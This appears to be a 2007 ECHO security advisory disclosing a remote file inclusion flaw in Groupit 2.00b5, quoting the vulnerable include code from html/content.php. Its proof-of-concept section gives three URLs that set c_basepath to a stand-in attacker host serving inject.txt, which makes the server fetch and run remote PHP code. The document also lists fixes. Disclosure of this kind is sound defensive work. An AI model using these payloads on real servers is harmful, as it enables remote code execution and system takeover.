ECHO_ADV_75$2007 ------------------------------------------------------------------------ ------------- [ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability -------------------------------------- ---------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : March, 15th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv75-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Groupit version : 2.00b5 URL : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar .gz ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~ - Invalid include function at html/content.php -----------------------html/content.php------------ <? ... include "$c_basepath/base/groupit.start.inc"; if (!empty($c_is_search)) { include "$c_basepath/modules/search/main.inc"; } else { if ($c_is_section) { include "$c_basepath/modules/content/section.inc"; } else ......... include "$c_basepath/base/groupit.stop.inc"; ?> ---------------------------------------------------------- Input passed to the "$c_basepath" parameter in load.inc.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. also affected files : html/userprofile.php html/password.php html/dispatch.php html/deliver.php and More .... Proof Of Concept: ~~~~~~~~~~~~ http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/ inject.txt? http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker. com/inject.txt? http://localhost/groupit/html/password.php?c_basepath=http://atacker.com /inject.txt? Solution: ~~~~ - Sanitize variable $c_basepath affected files. - Turn off register_globals ------------------------------------------------------------------------ --- Shoutz: ~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------